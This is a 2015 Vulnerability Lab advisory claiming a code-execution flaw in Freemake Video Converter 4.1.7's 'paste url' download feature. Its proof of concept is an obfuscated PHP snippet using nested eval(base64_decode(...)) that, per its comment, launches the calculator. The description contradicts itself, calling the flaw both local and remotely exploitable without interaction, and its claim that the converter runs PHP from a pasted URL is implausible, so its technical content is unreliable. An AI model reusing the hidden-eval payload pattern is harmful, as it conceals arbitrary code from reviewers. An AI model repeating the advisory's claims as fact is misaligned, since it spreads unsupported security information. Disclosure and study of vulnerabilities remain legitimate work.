Freemake Video Converter 4.1.7 - Code Execution

Document Title:
===============
Freemake Video Converter 4.1.7 - Code Execution


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1616


Release Date:
=============
2015-10-09


Vulnerability Laboratory ID (VL-ID):
====================================
1616


Common Vulnerability Scoring System:
====================================
8.8


Product & Service Introduction:
===============================
Freemake Video Converter converts video free to AVI, MP4, WMV, MKV, DVD, MP3, iPad, iPhone, PSP, Xbox, Android phones. 
Transform video to MP3 with one click! Rip & burn DVD/ Blu-ray. Convert YouTube to MP3, MP4, AVI, etc. Free, safe, guaranteed result.

(Copy of the Vendor Homepage: http://www.freemake.com/free_video_converter/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local code execution vulnerability in the official Freemake Video Converter v4.1.7 software.


Vulnerability Disclosure Timeline:
==================================
2015-10-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Freemake
Product: FreemakeVideo Converter - Software (Windows) 4.1.7


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A code execution web vulnerability has been discovered in the official FreemakeVideo Converter v4.1.7 software.
The vulnerability allows an attacker to execute malicious codes by interaction with a vulnerable software input field.

The vulnerability is located in the `paste url` Download module that does not filter files like .php. Thus allows an 
attacker to execute the calculator finally. The vulnerability can be exploited by remote attackers without user interaction 
and the severity of the issue is high. The bug can be exploited because of a misconfigured validation typ.

The security risk of the code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.8.
Exploitation of the vulnerability requires a low privileged system user account and no user interaction. Successful exploitation of the software
vulnerability results in system compromise by a classic url code execution.

Vulnerable Module(s):
			[+] Download

Vulnerable Input(s):
			[+] paste url

Affected Module(s):
			[+] .php


Proof of Concept (PoC):
=======================
The code execution software vulnerability can be exploited by local attackers with low  privileged system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch your browser and paste your malicious link in your url
Note: Do not run your link by interaction yet
2. Run FreemakeVideo Converter.exe
3. Click paste URL
4. PHP code executed and issue is successful reproduced!


PoC: Exploitcode
<?php
#######################################
#    Code Execution Calculator        #
# By ZwX in the Vulnerability Lab.com #
#######################################
eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIy
UmxLQ2RhV0doc1dYbG5ibEY2Y0dOV01HeFBVa1U1V0ZVeGVIcGxXRTR3V2xjd2VrMXNlR3BaVjNo
cVRHMVdORnBUWTNCUGR6MDlKeWtwT3c9PScpKTs='));
?>


Security Risk:
==============
The security risk of the code execution web vulnerability in the software core is estimated as high. (CVSS 8.8)


Credits & Authors:
==================
ZwX - ( http://zwx.fr )  [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 	       		- [email protected]
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
([email protected] or [email protected]) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™